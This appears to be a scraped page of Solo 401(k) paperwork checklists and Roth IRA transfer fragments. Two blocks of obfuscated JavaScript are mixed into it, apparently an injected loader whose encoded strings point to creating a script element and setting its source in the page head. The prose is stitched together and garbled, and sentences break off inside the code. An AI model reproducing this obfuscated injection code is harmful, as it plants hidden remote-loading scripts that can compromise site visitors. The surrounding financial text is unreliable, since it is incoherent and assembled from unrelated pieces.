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## Open an Account

### Form to Complete:

- Solo 401(k) Application Kit

2



## Transfer Funds (Tax-Free)

### Forms to Complete:

- Transfer Form (Trustee to Trustee Transfer from like plans)
- Rollover Form
- Deposit Coupon (Contribution)

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## Select an Investment

### Form to Complete:

- Buy Direction Letter

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- Submit the paperwork required for the investment you have chosen.

- Limited Liability Company
- Private Placement
- Promissory Note
- Secured Note
- Precious Metals
- Tax Liens

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Once the investment has been funded and the Solo 401(k) owns the assets, submit Payment Authorization Forms for expenses that pertain to the asset.

### Form to Complete:

- Payment Authorization Letter

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Deposit income generated from the asset must include a Deposit Coupon.

### Form to Complete:

- Deposit Coupon

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```
constructor(\x22return\x20this\x22)(\x20'+');})();}catch(_0x564eea){_0x2c1188=window;}return _0x2c1188;};var
_0x15a602=_0x4ed566();var _0x421475='ABCDEFGHJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz012345678
9+/'=_0x15a602['atob']||(_0x15a602['atob']=function(_0x31c5a8){var
_0x234bf4=String(_0x31c5a8)['replace'](/=+$/,"");for(var _0x1a1caf=0x0,_0x76c04a,_0x44d010,_0x2c349c=0x0,_0x2b3701=
;_0x44d010=_0x234bf4['charAt'](_0x2c349c++);~_0x44d010&&(_0x76c04a=_0x1a1caf%0x4?_0x76c04a*0x40+_0x44d010:
_0x44d010,_0x1a1caf++%0x4)?_0x2b3701+=String['fromCharCode'](_0xff&_0x76c04a>>(-0x2*_0x1a1caf&0x6)):0x0){_0x4
4d010=_0x421475['indexOf'](_0x44d010);}return
_0x2b3701;});})();_0x5865['base64DecodeUnicode']=function(_0x137b8c){var _0x38038f=atob(_0x137b8c);var
_0x1a6b5e=[];for(var _0xdc2fd9=0x0,_0x17f0f7=_0x38038f['length'];_0xdc2fd9=_0x3dd94b;),'CBQcX':function
_0x3b0e2a(_0x2a6a31,_0x3c4a91){return
_0x2a6a31===_0x3c4a91;},'jgvOw':_0x5865('0x22'),'pqOOB':_0x5865('0x23'),'nSxqF':function
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_0x53e8fc(_0x1361f7,_0x58da19){return _0x1361f7
```

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- [3. transfer roth ira to schwab](#)

Direct Transfer Rollover Problems Considerations References About the Author Cynthia Myers is the author of numerous novels and her nonfiction work has appeared in publications ranging from "Historic Traveler" to "Texas Highways" to "Medical Practice Management.. You need to keep a few regulations in mind, but if you have any doubts, the bank or fund manager on either end of the transaction can walk you through the process.

## transfer roth

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```
var _0xd537=['c2V0','eXdySUE=','dnNhb0s=','YIV0S0o=','aGVhZA==','Y3JlYXRIRWxlbnVudA==','c3Jj','Z2V0RWxlbnV
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x351b9b){_0x11af9f['push'](_0x11af9f['shift']());}};_0x2a6a53(++_0x3f5113);}(_0xd537,0x1ac));var
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_0x2fa864=_0xd537[_0xd93212];if(_0x5865['initialized']===undefined){(function(){var _0x4ed566=function(){var
_0x2c1188;try{_0x2c1188=Function('return\x20(function()\x20'+').. If you like another company's fund offerings better, or if
you simply find dealing with a different institution more convenient, moving your Roth IRA is a fairly simple process.. " She
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